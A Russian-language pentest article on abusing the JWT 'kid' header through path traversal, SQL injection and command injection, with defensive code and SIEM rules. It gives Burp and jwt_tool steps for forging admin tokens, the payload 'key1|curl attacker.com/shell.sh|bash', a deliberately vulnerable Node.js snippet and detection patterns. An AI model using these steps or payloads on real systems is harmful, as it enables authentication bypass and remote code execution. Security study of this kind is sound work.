На аудите финтех-API осенью 2024-го мы три дня копали IDOR в платёжных эндпоинтах - а critical обнаружился в JWT-заголовке. Значение параметра
kid подставлялось напрямую в SQL-запрос к таблице ключей подписи. Одна UNION-инъекция - и мы контролировали ключ верификации, генерировали токены с "role": "admin" и обходили всю аутентификацию за 20 минут. Приложение к тому моменту прошло два предыдущих аудита. Два. И оба промахнулись мимо заголовка.Параметр
kid (Key ID) - одна из самых недооценённых точек входа при JWT authentication bypass. Русскоязычные разборы упоминают его одной строкой рядом с jwk-инъекцией и algorithm confusion. Здесь - три конкретных вектора эксплуатации kid header с командами jwt_tool и Burp Suite, diff уязвимого и безопасного кода и чеклист для code review.Место kid-атаки в цепочке: от recon до privilege escalation
JWT kid header уязвимость - не изолированный трюк. Это полноценный этап kill chain, который ложится на несколько тактик MITRE ATT&CK: Подробнее - в нашем материале про атаки на аутентификацию.- Initial Access - Exploit Public-Facing Application (T1190): JWT-эндпоинт доступен извне, kid не валидируется на входе
- Credential Access - Exploitation for Credential Access (T1212): подделка подписи даёт токен с чужими claim'ами
- Lateral Movement - Application Access Token (T1550.001): поддельный JWT принимается внутренними микросервисами без повторной верификации
/robots.txt) → обнаружение JWT в заголовке Authorization: Bearer → декодирование через jwt_tool -d <token> → проверка наличия kid в заголовке → fingerprinting серверной обработки kid (фаззинг спецсимволами) → выбор вектора → подпись поддельного токена → обход аутентификации JWT или privilege escalation.Контекст применимости: внешний пентест веб-приложений и API (black/grey box), bug bounty на SaaS-платформах. Во внутреннем пентесте - аудит микросервисной архитектуры, где JWT передаётся между сервисами. На legacy-монолитах
kid встречается реже - там чаще единственный HMAC-секрет без ротации ключей.Как работает kid и почему сервер ему доверяет
kid - необязательный параметр заголовка JWT из RFC 7515 (JSON Web Signature). Задача простая: указать серверу, каким именно ключом подписан конкретный токен. Нужно при ротации ключей или в multi-tenant архитектуре с несколькими ключами в JWKS.Заголовок JWT с
kid выглядит так: {"alg": "HS256", "typ": "JWT", "kid": "key-2024-q3"}. Сервер берёт это значение и ищет ключ подписи. А вот дальше начинается интересное: kid - данные, полностью контролируемые клиентом. Если сервер подставляет их в операцию без санитизации, открываются три класса JSON Web Token эксплуатации:| Как сервер резолвит kid | Вектор атаки | OWASP |
|---|---|---|
| SQL-запрос к таблице ключей | SQL injection | A03:2021 Injection |
| Путь к файлу на диске | Path traversal / LFI | A01:2021 Broken Access Control |
| Аргумент shell-команды | OS command injection | A03:2021 Injection |
| URL к внешнему хранилищу | SSRF | A10:2021 SSRF |
Ни в одном из этих сценариев спецификация JWT не предписывает серверу валидировать формат
kid. Разработчик должен сделать это сам - и именно здесь ломается обход аутентификации JWT.JWT path traversal kid: подпись нулевым байтом
Самый частый и хорошо задокументированный вектор. Подробно разобран в лаборатории PortSwigger (Tier-1 источник). Если сервер конкатенирует значениеkid с базовым путём к директории ключей, атакующий перенаправляет чтение на файл с предсказуемым содержимым.Требования к окружению
| Параметр | Значение |
|---|---|
| Инструменты | Burp Suite + JWT Editor extension (BApp Store) или jwt_tool v2.2.7+ |
| ОС атакующего | Любая (Kali Linux / macOS / Windows) |
| Целевой сервер | Linux (нужен /dev/null или иной файл с известным содержимым) |
| Режим | Online, сетевой доступ к приложению |
| Минимальный RAM | 4 ГБ (Burp Suite Community), 8 ГБ (Burp Suite Professional) |
Пошаговая эксплуатация
Уязвимый серверный код (Node.js/Express):
JavaScript:
// kid подставляется в путь без валидации - path traversal
const keyPath = path.join('/app/keys/', header.kid);
const key = fs.readFileSync(keyPath);
jwt.verify(token, key);
kid traversal-последовательность ../../../../../../../dev/null. Файл /dev/null при чтении возвращает пустой контент. Токен подписывается ключом, равным одному null-байту (AA== в base64).Через Burp Suite (по методологии PortSwigger):
- Перехватить запрос с JWT, отправить в Repeater
- JWT Editor Keys → New Symmetric Key → Generate → заменить свойство
kнаAA==(base64-кодированный одиночный null-байт). В лаборатории PortSwigger «JWT authentication bypass via kid header path traversal» используется именно это значение - оно соответствует результату чтения/dev/nullбольшинством JWT-библиотек - В JSON Web Token tab изменить заголовок:
"kid": "../../../../../../../dev/null" - В payload изменить
subнаadministrator(илиrole/is_admin- зависит от приложения) - Sign → выбрать созданный symmetric key → Don't modify header → OK
- Отправить запрос - токен подписан null-байтом и проходит верификацию
echo -n '' > /tmp/null.key && python3 jwt_tool.py <JWT> -I -hc kid -hv "../../../../../../dev/null" -pc sub -pv administrator -S s -sk /tmp/null.keyЗдесь
-I - injection mode, -hc kid - изменить claim kid в header, -S s - symmetric signing, -sk /tmp/null.key - путь к файлу с пустым содержимым (jwt_tool ожидает путь к файлу ключа, а не строку).Ограничения вектора
Работает на Linux/macOS серверах (/dev/null доступен). На Windows нет прямого аналога - можно попробовать traversal к файлу с известным содержимым, но предсказуемость ниже.Контейнеры с read-only filesystem или
seccomp-профилями могут блокировать обращение к произвольным путям. WAF с правилами на ../ детектирует - но только если парсит base64url-содержимое JWT (большинство WAF этого не делают по умолчанию). В Go-приложениях filepath.Clean() нормализует traversal-последовательность - вектор не работает.Kid header SQL injection: подмена ключа из базы
По моему опыту - более опасный вектор. JWT injection атака через SQL позволяет не только обойти аутентификацию, но и вытащить данные из БД, а иногда получить RCE.Механика атаки
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Где встречается: чаще в кастомных реализациях JWT-валидации. Зрелые библиотеки (
express-jwt, Spring Security JwtDecoder, golang-jwt/jwt) предоставляют key resolver callback, где kid - аргумент функции, а не часть SQL-строки. Но стоит разработчику написать свой resolver с прямым запросом к БД - защита испаряется.Связь с известными CVE
CVE-2018-0114 (CVSS 7.5, HIGH, CWE-347) в библиотеке Cisconode-jose < 0.11.0 демонстрирует родственную проблему: JWS-стандарт позволял встроить JWK (публичный ключ) прямо в заголовок токена, и библиотека доверяла этому ключу для верификации. Атакующий переподписывал токен ключом, вложенным в сам JWT. Вектор: network (AV:N), сложность низкая (AC:L), привилегии не нужны (PR:N). Публичный эксплойт - zi0Black/POC-CVE-2018-0114 на GitHub (также доступен на Exploit-DB как EDB-44324).JWT-библиотеки регулярно содержат логические ошибки валидации claim'ов. CVE-2025-30144 в
fast-jwt < 5.0.6 (CVSS 6.5, MEDIUM, CWE-290/CWE-345) показала, что массив строк принимался как валидное значение iss. Если даже стандартизированные claim'ы валидируются с ошибками - нестандартизированный kid требует явной защиты на стороне приложения. Тут не паранойя, а арифметика.Command injection через kid
Если значениеkid передаётся в shell-команду (через exec, system или backticks) для извлечения ключа из внешнего хранилища - возможна OS command injection. Payload: kid: "key1|curl attacker.com/shell.sh|bash" или kid: "key1$(whoami)".На практике встречается крайне редко - в самописных обёртках над HSM или vault-CLI, где разработчик вызывает внешнюю утилиту с
kid как аргументом. За четыре года пентестов я видел этот вектор дважды, оба раза в legacy PHP-приложениях с shell_exec(). Но если нашёл - это сразу RCE, без промежуточных шагов.Выбор вектора: decision tree для kid-атаки
| Что наблюдаете при фаззинге kid | Вероятный вектор | Действие |
|---|---|---|
| Ошибка ФС: «ENOENT», «file not found» | Path traversal | kid: "../../../dev/null", подпись null byte |
SQL-ошибка или 500 при kid: "'" | SQL injection | UNION SELECT 'controlled-key', подпись ей же |
Задержка ответа при kid: "$(sleep 5)" | Command injection | OOB-верификация через DNS callback |
| Стабильный 401, поведение не меняется | Слепая инъекция или kid не участвует в поиске ключа | Time-based blind SQLi; если не работает - другие JWT-векторы (alg:none, algorithm confusion, jwk/jku) |
Порядок тестирования: path traversal первым (наименее деструктивен), затем SQL injection, в последнюю очередь command injection. Для fingerprinting достаточно трёх запросов с
kid: ../test, ', $(id). Три запроса - и уже понятно, куда копать.Слепые зоны WAF и SIEM при атаке на kid
WAF: JWT-заголовок вне зоны видимости
По умолчанию WAF (ModSecurity CRS, AWS WAF, Cloudflare) анализируют тело HTTP-запроса и URL-параметры. СодержимоеAuthorization: Bearer <JWT> - base64url-закодированная строка, и стандартные сигнатуры (../, UNION SELECT, | bash) внутри неё невидимы для правил.Cloudflare и AWS WAF в advanced-конфигурации позволяют custom rules с
decode_base64, но это ручная настройка, которую нужно делать осознанно. По умолчанию - дырка.Application Logs и SIEM
Серия 401/403 с разными JWT при фаззинге - маркер разведки, но без парсинга JWT в лог-пайплайне SIEM не видит содержимое kid. SQL-ошибки в логах приложения - прямой индикатор, если не подавлены (а они обычно подавлены в продакшене). Файловые ошибки I/O (ENOENT /dev/null) видны только если приложение логирует операции с FS.Для blue team: добавить в Logstash / Elastic ingest pipeline / Fluentd фильтр, декодирующий JWT из Bearer-заголовка и извлекающий
kid. Алертить на паттерны в kid: ../, UNION, SELECT.*FROM, $(, |bash. В средах со стандартизированным форматом kid (alphanumeric + дефис) можно дополнительно алертить на ', |, ;. Для multi-tenant с произвольным форматом kid - ограничиться конкретными паттернами SQLi/path traversal, чтобы снизить false positives. Это закрывает слепую зону, которую не покроет ни один WAF в дефолтной конфигурации.Чеклист защиты: уязвимый vs безопасный код
| Защитная мера | Path traversal | SQLi | Command injection |
|---|---|---|---|
| Whitelist допустимых kid | Да | Да | Да |
| Маппинг kid через словарь | Да | Да | Да |
| Prepared statements | Нет | Да | Нет |
| Отказ от shell exec | Нет | Нет | Да |
| Whitelist алгоритмов в verify() | Косвенно | Косвенно | Косвенно |
| Декодирование kid в SIEM | Детект | Детект | Детект |
Безопасная реализация key resolver (Node.js):
JavaScript:
// kid маппится через словарь - инъекция невозможна
const keyStore = {
'prod-2024-q3': fs.readFileSync('/app/keys/q3.pem'),
'prod-2025-q1': fs.readFileSync('/app/keys/q1.pem'),
};
function resolve(header, cb) {
const key = keyStore[header.kid];
if (!key) return cb(new Error('Unknown kid'));
cb(null, key);
}
jwt.verify(token, resolve, { algorithms: ['RS256'] });
kid никогда не попадает в SQL, файловый путь или shell. Оно используется исключительно как ключ словаря. Алгоритм задан явно через whitelist (algorithms: ['RS256']), что дополнительно блокирует JWT алгоритм подмена (algorithm confusion). Если приложение использует JWKS-эндпоинт - убедитесь, что URL эндпоинта зашит в конфигурации, а не берётся из заголовка токена (иначе открывается вектор через jku).Главная ошибка, которую я вижу на code review раз за разом: команда берёт проверенную библиотеку JWT, но пишет собственный
keyResolver с обращением к базе - и вся защита библиотеки обнуляется одним конкатенированным SQL-запросом. Зрелые фреймворки (Spring Security JwtDecoder, express-jwt с jwks-rsa, golang-jwt с keyfunc) решают задачу ротации ключей через JWKS без необходимости писать собственный резолвер. Если в вашем проекте kid всё-таки попадает в SQL или файловый путь - whitelist допустимых значений закрывает все три вектора разом.Исходить из того, что любой user-controlled параметр JWT-заголовка опасен - не паранойя, а единственный рабочий подход. На HackerLab.pro формула на бумаге и формула на живом стенде ощущаются по-разному - web-категория позволяет прогнать kid injection от первого запроса до получения admin-токена на практике.